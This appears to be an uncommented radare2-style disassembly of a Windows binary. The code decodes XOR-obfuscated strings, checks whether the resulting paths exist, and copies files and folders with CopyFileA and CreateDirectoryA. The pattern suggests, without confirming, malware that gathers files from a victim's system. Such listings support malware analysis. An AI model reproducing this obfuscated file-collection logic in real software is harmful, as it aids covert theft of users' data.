xor ecx, ecx
movups xmmword [ebp - 0x374], xmm0
mov word [ebp - 0x364], 0x9b9a
xorps xmm0, xmm0
mov byte [ebp - 0x362], 0x98
movq qword [ebp - 0x361], xmm0
mov byte [ebp - 0x359], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x374], al
inc ecx
cmp ecx, 0x13
jb 0x414960
lea eax, [ebp - 0x374]
mov dword [0x558558], ecx
push eax
lea ecx, [ebp - 0xb30]
mov byte [ebp - 0x361], 0
call fcn.00402a50
lea ecx, [ebp - 0xb30]
mov byte [ebp - 4], 0x59
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1448]
call fcn.00402a50
push eax
lea edx, [ebp - 0x16a0]
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x980]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1448]
call fcn.004029b0
lea ecx, [ebp - 0xb30]
mov byte [ebp - 4], 0x5d
call fcn.004029b0
lea ecx, [ebp - 0x980]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x414b1b
xorps xmm0, xmm0
mov dword [ebp - 0x5f], 0x968ca6b7
mov byte [ebp - 0x5b], 0x97
xor ecx, ecx
movq qword [ebp - 0x5a], xmm0
mov byte [ebp - 0x52], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5f], al
inc ecx
cmp ecx, 5
jb 0x414a11
lea eax, [ebp - 0x5f]
mov dword [0x5584f4], ecx
push eax
lea ecx, [ebp - 0xb48]
mov byte [ebp - 0x5a], 0
call fcn.00402a50
lea ecx, [ebp - 0xb48]
mov byte [ebp - 4], 0x5e
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x864]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xb48]
mov byte [ebp - 4], 0x60
call fcn.004029b0
lea ecx, [ebp - 0x864]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x414a92
push 0
lea ecx, [ebp - 0x864]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x414b0c
sub esp, 0x18
lea eax, [ebp - 0x864]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0x61
lea eax, [ebp - 0x980]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, bl
mov byte [ebp - 4], 0x60
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x414ad4
mov byte [edi], 1
jmp 0x414b0c
lea ecx, [ebp - 0x864]
call fcn.00402af0
push eax
lea ecx, [ebp - 0xb60]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0xb60]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xb60]
call fcn.004029b0
lea ecx, [ebp - 0x864]
mov byte [ebp - 4], 0x5d
call fcn.004029b0
movaps xmm0, xmmword [0x545480]
xor ecx, ecx
movups xmmword [ebp - 0x89d], xmm0
mov byte [ebp - 0x88d], 0xa7
movaps xmm0, xmmword [0x543040]
movups xmmword [ebp - 0x88c], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x89d], al
inc ecx
cmp ecx, 0x18
jb 0x414b40
lea eax, [ebp - 0x89d]
mov dword [0x558520], ecx
push eax
lea ecx, [ebp - 0xb78]
mov byte [ebp - 0x885], 0
call fcn.00402a50
lea ecx, [ebp - 0xb78]
mov byte [ebp - 4], 0x63
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1460]
call fcn.00402a50
push eax
lea edx, [ebp - 0x17a8]
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x968]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1460]
call fcn.004029b0
lea ecx, [ebp - 0xb78]
mov byte [ebp - 4], 0x67
call fcn.004029b0
lea ecx, [ebp - 0x968]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x414d03
movaps xmm0, xmmword [0x543d20]
xor ecx, ecx
mov byte [ebp - 0x396], 0xb7
movups xmmword [ebp - 0x395], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x396], al
inc ecx
cmp ecx, 8
jb 0x414bf0
lea eax, [ebp - 0x396]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0xb90]
mov byte [ebp - 0x38e], 0
call fcn.00402a50
lea ecx, [ebp - 0xb90]
mov byte [ebp - 4], 0x68
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x804]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xb90]
mov byte [ebp - 4], 0x6a
call fcn.004029b0
lea ecx, [ebp - 0x804]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x414c7a
push 0
lea ecx, [ebp - 0x804]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x414cf4
sub esp, 0x18
lea eax, [ebp - 0x804]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0x6b
lea eax, [ebp - 0x968]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, bl
mov byte [ebp - 4], 0x6a
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x414cbc
mov byte [edi], 1
jmp 0x414cf4
lea ecx, [ebp - 0x804]
call fcn.00402af0
push eax
lea ecx, [ebp - 0xba8]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0xba8]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xba8]
call fcn.004029b0
lea ecx, [ebp - 0x804]
mov byte [ebp - 4], 0x67
call fcn.004029b0
movaps xmm0, xmmword [0x543570]
xor ecx, ecx
movups xmmword [ebp - 0x44e], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x44e], al
inc ecx
cmp ecx, 7
jb 0x414d13
lea eax, [ebp - 0x44e]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xbc0]
mov byte [ebp - 0x447], 0
call fcn.00402a50
lea ecx, [ebp - 0xbc0]
mov byte [ebp - 4], 0x6d
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1478]
call fcn.00402a50
push eax
lea edx, [ebp - 0x16a0]
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x950]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1478]
call fcn.004029b0
lea ecx, [ebp - 0xbc0]
mov byte [ebp - 4], 0x71
call fcn.004029b0
lea ecx, [ebp - 0x950]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x414ed3
movaps xmm0, xmmword [0x543570]
xor ecx, ecx
movups xmmword [ebp - 0x45e], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x45e], al
inc ecx
cmp ecx, 7
jb 0x414dc0
lea eax, [ebp - 0x45e]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xbd8]
mov byte [ebp - 0x457], 0
call fcn.00402a50
lea ecx, [ebp - 0xbd8]
mov byte [ebp - 4], 0x72
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x84c]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xbd8]
mov byte [ebp - 4], 0x74
call fcn.004029b0
lea ecx, [ebp - 0x84c]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x414e4a
push 0
lea ecx, [ebp - 0x84c]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x414ec4
sub esp, 0x18
lea eax, [ebp - 0x84c]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0x75
lea eax, [ebp - 0x950]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, bl
mov byte [ebp - 4], 0x74
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x414e8c
mov byte [edi], 1
jmp 0x414ec4
lea ecx, [ebp - 0x84c]
call fcn.00402af0
push eax
lea ecx, [ebp - 0xbf0]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0xbf0]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xbf0]
call fcn.004029b0
lea ecx, [ebp - 0x84c]
mov byte [ebp - 4], 0x71
call fcn.004029b0
movaps xmm0, xmmword [0x545720]
xor ecx, ecx
movups xmmword [ebp - 0x595], xmm0
mov dword [ebp - 0x585], 0x8a939992
movaps xmm0, xmmword [str.W_noaqu]
mov byte [ebp - 0x581], 0xa3
movups xmmword [ebp - 0x580], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x595], al
inc ecx
cmp ecx, 0x1c
jb 0x414f02
lea eax, [ebp - 0x595]
mov dword [0x5585a4], ecx
push eax
lea ecx, [ebp - 0xc08]
mov byte [ebp - 0x579], 0
call fcn.00402a50
lea ecx, [ebp - 0xc08]
mov byte [ebp - 4], 0x77
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1490]
call fcn.00402a50
push eax
lea edx, [ebp - 0x16a0]
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x938]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1490]
call fcn.004029b0
lea ecx, [ebp - 0xc08]
mov byte [ebp - 4], 0x7b
call fcn.004029b0
lea ecx, [ebp - 0x938]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x4150c3
movaps xmm0, xmmword [0x543bc0]
xor ecx, ecx
movups xmmword [ebp - 0x46e], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x46e], al
inc ecx
cmp ecx, 7
jb 0x414fb0
lea eax, [ebp - 0x46e]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xc20]
mov byte [ebp - 0x467], 0
call fcn.00402a50
lea ecx, [ebp - 0xc20]
mov byte [ebp - 4], 0x7c
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x834]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xc20]
mov byte [ebp - 4], 0x7e
call fcn.004029b0
lea ecx, [ebp - 0x834]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x41503a
push 0
lea ecx, [ebp - 0x834]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x4150b4
sub esp, 0x18
lea eax, [ebp - 0x834]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0x7f
lea eax, [ebp - 0x938]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, bl
mov byte [ebp - 4], 0x7e
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x41507c
mov byte [edi], 1
jmp 0x4150b4
lea ecx, [ebp - 0x834]
call fcn.00402af0
push eax
lea ecx, [ebp - 0xc38]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0x80
lea ecx, [ebp - 0xc38]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xc38]
call fcn.004029b0
lea ecx, [ebp - 0x834]
mov byte [ebp - 4], 0x7b
call fcn.004029b0
movaps xmm0, xmmword [0x545a50]
xor ecx, ecx
movups xmmword [ebp - 0x522], xmm0
mov byte [ebp - 0x512], 0x99
xorps xmm0, xmm0
mov byte [ebp - 0x509], 0
movq qword [ebp - 0x511], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x522], al
inc ecx
cmp ecx, 0x11
jb 0x4150f0
lea eax, [ebp - 0x522]
mov dword [0x5585e4], ecx
push eax
lea ecx, [ebp - 0xc50]
mov byte [ebp - 0x511], 0
call fcn.00402a50
lea ecx, [ebp - 0xc50]
mov byte [ebp - 4], 0x81
call fcn.00402af0
push eax
lea ecx, [ebp - 0x14a8]
call fcn.00402a50
push eax
lea edx, [ebp - 0x16a0]
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0xa58]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x14a8]
call fcn.004029b0
lea ecx, [ebp - 0xc50]
mov byte [ebp - 4], 0x85
call fcn.004029b0
sub esp, 0x18
lea eax, [ebp - 0xa58]
mov ecx, esp
push eax
call fcn.0047faa0
call fcn.0040c4c0
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x18
test al, al
je 0x415333
movaps xmm0, xmmword [0x543390]
xor ecx, ecx
movups xmmword [ebp - 0x4ee], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x4ee], al
inc ecx
cmp ecx, 7
jb 0x4151a5
lea eax, [ebp - 0x4ee]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xc68]
mov byte [ebp - 0x4e7], 0
call fcn.00402a50
lea ecx, [ebp - 0xc68]
mov byte [ebp - 4], 0x86
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x81c]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xc68]
mov byte [ebp - 4], 0x88
call fcn.004029b0
lea ecx, [ebp - 0x81c]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x415233
push 0
lea ecx, [ebp - 0x81c]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x415324
movaps xmm0, xmmword [0x543a50]
xor ecx, ecx
mov word [ebp - 0x254], 0x8eb7
mov byte [ebp - 0x252], 0x84
movups xmmword [ebp - 0x251], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x254], al
inc ecx
cmp ecx, 0xa
jb 0x415253
lea eax, [ebp - 0x254]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0xc80]
mov byte [ebp - 0x24a], 0
call fcn.00402a50
lea ecx, [ebp - 0xc80]
mov byte [ebp - 4], 0x89
call fcn.00402af0
push eax
lea edx, [ebp - 0x81c]
lea ecx, [ebp - 0x14c0]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0xa58]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0x14c0]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0xc80]
mov byte [ebp - 4], 0x88
call fcn.004029b0
test esi, esi
je 0x4152e6
mov byte [edi], 1
jmp 0x41531e
lea ecx, [ebp - 0x81c]
call fcn.00402af0
push eax
lea ecx, [ebp - 0xc98]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0xc98]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xc98]
call fcn.004029b0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x81c]
mov byte [ebp - 4], 0x85
call fcn.004029b0
movaps xmm0, xmmword [0x545870]
xor ecx, ecx
movups xmmword [ebp - 0x2a3], xmm0
mov dword [ebp - 0x293], 0x8a989097
xorps xmm0, xmm0
mov byte [ebp - 0x28f], 0x8c
movq qword [ebp - 0x28e], xmm0
mov byte [ebp - 0x286], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x2a3], al
inc ecx
cmp ecx, 0x15
jb 0x415370
lea eax, [ebp - 0x2a3]
mov dword [0x55855c], ecx
push eax
lea ecx, [ebp - 0xcb0]
mov byte [ebp - 0x28e], 0
call fcn.00402a50
lea ecx, [ebp - 0xcb0]
mov byte [ebp - 4], 0x8b
call fcn.00402af0
push eax
lea ecx, [ebp - 0x14d8]
call fcn.00402a50
push eax
lea edx, [ebp - 0x16a0]
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0x920]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x14d8]
call fcn.004029b0
lea ecx, [ebp - 0xcb0]
mov byte [ebp - 4], 0x8f
call fcn.004029b0
lea ecx, [ebp - 0x920]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x415546
movaps xmm0, xmmword [0x543f70]
xor ecx, ecx
mov dword [ebp - 0x154], 0x8b81a9b7
mov word [ebp - 0x150], 0x848c
movups xmmword [ebp - 0x14e], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x154], al
inc ecx
cmp ecx, 0xd
jb 0x415430
lea eax, [ebp - 0x154]
mov dword [0x55852c], ecx
push eax
lea ecx, [ebp - 0xcc8]
mov byte [ebp - 0x147], 0
call fcn.00402a50
lea ecx, [ebp - 0xcc8]
mov byte [ebp - 4], 0x90
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x7ec]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xcc8]
mov byte [ebp - 4], 0x92
call fcn.004029b0
lea ecx, [ebp - 0x7ec]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x4154ba
push 0
lea ecx, [ebp - 0x7ec]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x415537
sub esp, 0x18
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x7ec]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0x93
lea eax, [ebp - 0x920]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, byte [ebp - 0x15]
mov byte [ebp - 4], 0x92
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x4154ff
mov byte [edi], 1
jmp 0x415537
lea ecx, [ebp - 0x7ec]
call fcn.00402af0
push eax
lea ecx, [ebp - 0xce0]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0x94
lea ecx, [ebp - 0xce0]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xce0]
call fcn.004029b0
lea ecx, [ebp - 0x7ec]
mov byte [ebp - 4], 0x8f
call fcn.004029b0
movaps xmm0, xmmword [0x5455f0]
xor ecx, ecx
movups xmmword [ebp - 0x8bd], xmm0
movaps xmm0, xmmword [0x542ff0]
movups xmmword [ebp - 0x8ad], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x8bd], al
inc ecx
cmp ecx, 0x17
jb 0x415564
lea eax, [ebp - 0x8bd]
mov dword [0x55856c], ecx
push eax
lea ecx, [ebp - 0xcf8]
mov byte [ebp - 0x8a6], 0
call fcn.00402a50
lea ecx, [ebp - 0xcf8]
mov byte [ebp - 4], 0x95
call fcn.00402af0
push eax
lea ecx, [ebp - 0x14f0]
call fcn.00402a50
push eax
lea edx, [ebp - 0x16a0]
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0xa28]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x14f0]
call fcn.004029b0
lea ecx, [ebp - 0xcf8]
mov byte [ebp - 4], 0x99
call fcn.004029b0
sub esp, 0x18
lea eax, [ebp - 0xa28]
mov ecx, esp
push eax
call fcn.0047faa0
call fcn.0040c4c0
add esp, 0x18
test al, al
je 0x4157ad
movaps xmm0, xmmword [0x543af0]
xor ecx, ecx
mov byte [ebp - 0x3a7], 0xb7
movups xmmword [ebp - 0x3a6], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x3a7], al
inc ecx
cmp ecx, 8
jb 0x415620
lea eax, [ebp - 0x3a7]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0xd10]
mov byte [ebp - 0x39f], 0
call fcn.00402a50
lea ecx, [ebp - 0xd10]
mov byte [ebp - 4], 0x9a
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x7d4]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xd10]
mov byte [ebp - 4], 0x9c
call fcn.004029b0
lea ecx, [ebp - 0x7d4]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x4156ae
push 0
lea ecx, [ebp - 0x7d4]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x41579e
movaps xmm0, xmmword [0x543b30]
xor ecx, ecx
mov dword [ebp - 0x85], 0x9e9d8db7
mov dword [ebp - 0x81], 0x9d8583c2
movups xmmword [ebp - 0x7d], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x85], al
inc ecx
cmp ecx, 0xf
jb 0x4156d0
lea eax, [ebp - 0x85]
mov dword [0x558508], ecx
push eax
lea ecx, [ebp - 0xd28]
mov byte [ebp - 0x76], 0
call fcn.00402a50
lea ecx, [ebp - 0xd28]
mov byte [ebp - 4], 0x9d
call fcn.00402af0
push eax
lea edx, [ebp - 0x7d4]
lea ecx, [ebp - 0x1508]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0xa28]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0x1508]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0xd28]
mov byte [ebp - 4], 0x9c
call fcn.004029b0
test esi, esi
je 0x415760
mov byte [edi], 1
jmp 0x415798
lea ecx, [ebp - 0x7d4]
call fcn.00402af0
push eax
lea ecx, [ebp - 0xd40]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0xd40]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xd40]
call fcn.004029b0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x7d4]
mov byte [ebp - 4], 0x99
call fcn.004029b0
movaps xmm0, xmmword [0x545270]
xor ecx, ecx
movups xmmword [ebp - 0x508], xmm0
mov byte [ebp - 0x4f8], 0x88
xorps xmm0, xmm0
mov byte [ebp - 0x4ef], 0
movq qword [ebp - 0x4f7], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x508], al
inc ecx
cmp ecx, 0x11
jb 0x4157e0
lea eax, [ebp - 0x508]
mov dword [0x5585e4], ecx
push eax
lea ecx, [ebp - 0xd58]
mov byte [ebp - 0x4f7], 0
call fcn.00402a50
lea ecx, [ebp - 0xd58]
mov byte [ebp - 4], 0x9f
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1520]
call fcn.00402a50
push eax
lea edx, [ebp - 0x16a0]
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x908]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1520]
call fcn.004029b0
lea ecx, [ebp - 0xd58]
mov byte [ebp - 4], 0xa3
call fcn.004029b0
lea ecx, [ebp - 0x908]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x4159ab
movaps xmm0, xmmword [0x543f00]
xor ecx, ecx
mov word [ebp - 0x303], 0xa9b7
movups xmmword [ebp - 0x301], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x303], al
inc ecx
cmp ecx, 9
jb 0x415891
lea eax, [ebp - 0x303]
mov dword [0x5585e0], ecx
push eax
lea ecx, [ebp - 0xd70]
mov byte [ebp - 0x2fa], 0
call fcn.00402a50
lea ecx, [ebp - 0xd70]
mov byte [ebp - 4], 0xa4
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x7bc]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xd70]
mov byte [ebp - 4], 0xa6
call fcn.004029b0
lea ecx, [ebp - 0x7bc]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x41591f
push 0
lea ecx, [ebp - 0x7bc]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x41599c
sub esp, 0x18
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x7bc]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0xa7
lea eax, [ebp - 0x908]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, byte [ebp - 0x15]
mov byte [ebp - 4], 0xa6
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x415964
mov byte [edi], 1
jmp 0x41599c
lea ecx, [ebp - 0x7bc]
call fcn.00402af0
push eax
lea ecx, [ebp - 0xd88]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0xa8
lea ecx, [ebp - 0xd88]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xd88]
call fcn.004029b0
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xa3
call fcn.004029b0
movaps xmm0, xmmword [0x5437c0]
xor ecx, ecx
movups xmmword [ebp - 0x47e], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x47e], al
inc ecx
cmp ecx, 7
jb 0x4159c0
lea eax, [ebp - 0x47e]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xda0]
mov byte [ebp - 0x477], 0
call fcn.00402a50
lea ecx, [ebp - 0xda0]
mov byte [ebp - 4], 0xa9
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1538]
call fcn.00402a50
push eax
lea edx, [ebp - 0x16a0]
mov byte [ebp - 4], 0xaa
lea ecx, [ebp - 0x340]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1538]
call fcn.004029b0
lea ecx, [ebp - 0xda0]
mov byte [ebp - 4], 0xad
call fcn.004029b0
lea ecx, [ebp - 0x340]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x41626b
movaps xmm0, xmmword [0x5437c0]
xor ecx, ecx
movups xmmword [ebp - 0x48e], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x48e], al
inc ecx
cmp ecx, 7
jb 0x415a70
lea eax, [ebp - 0x48e]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xdb8]
mov byte [ebp - 0x487], 0
call fcn.00402a50
lea ecx, [ebp - 0xdb8]
mov byte [ebp - 4], 0xae
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5c8]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xdb8]
mov byte [ebp - 4], 0xb0
call fcn.004029b0
lea ecx, [ebp - 0x5c8]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x415afe
push 0
lea ecx, [ebp - 0x5c8]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x41625c
movaps xmm0, xmmword [0x5440d0]
xor ecx, ecx
mov word [ebp - 0x267], 0xa5b7
mov byte [ebp - 0x265], 0x83
movups xmmword [ebp - 0x264], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x267], al
inc ecx
cmp ecx, 0xa
jb 0x415b20
lea eax, [ebp - 0x267]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0xdd0]
mov byte [ebp - 0x25d], 0
call fcn.00402a50
lea ecx, [ebp - 0xdd0]
mov byte [ebp - 4], 0xb1
call fcn.00402af0
push eax
lea edx, [ebp - 0x340]
lea ecx, [ebp - 0x1550]
call fcn.004838a0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xb2
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
lea ecx, [ebp - 0x1550]
mov bl, al
call fcn.004029b0
lea ecx, [ebp - 0xdd0]
mov byte [ebp - 4], 0xb0
call fcn.004029b0
test bl, bl
je 0x415d6a
movaps xmm0, xmmword [0x5440d0]
xor ecx, ecx
mov word [ebp - 0x1cf], 0xa5b7
mov byte [ebp - 0x1cd], 0x83
movups xmmword [ebp - 0x1cc], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1cf], al
inc ecx
cmp ecx, 0xa
jb 0x415bd0
lea eax, [ebp - 0x1cf]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0xde8]
mov byte [ebp - 0x1c5], 0
call fcn.00402a50
lea ecx, [ebp - 0xde8]
mov byte [ebp - 4], 0xb3
call fcn.00402af0
push eax
lea edx, [ebp - 0x5c8]
lea ecx, [ebp - 0x7a4]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xde8]
mov byte [ebp - 4], 0xb5
call fcn.004029b0
lea ecx, [ebp - 0x7a4]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x415c61
push 0
lea ecx, [ebp - 0x7a4]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x415d5b
movaps xmm0, xmmword [0x5440d0]
lea eax, [ebp - 0x7a4]
sub esp, 0x18
mov word [ebp - 0x1e2], 0xa5b7
mov ecx, esp
mov dword [ebp - 0x14], esp
mov byte [ebp - 0x1e0], 0x83
xor bl, bl
movups xmmword [ebp - 0x1df], xmm0
push eax
call fcn.0047faa0
mov byte [ebp - 4], 0xb6
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1e2], al
inc ecx
cmp ecx, 0xa
jb 0x415ca0
lea eax, [ebp - 0x1e2]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0xe00]
mov byte [ebp - 0x1d8], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xb7
lea ecx, [ebp - 0xe00]
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x340]
mov ecx, esi
call fcn.004838a0
add esp, 4
mov cl, bl
mov byte [ebp - 4], 0xb8
call fcn.004108f0
add esp, 0x30
mov byte [ebp - 4], 0xb5
lea ecx, [ebp - 0xe00]
mov esi, eax
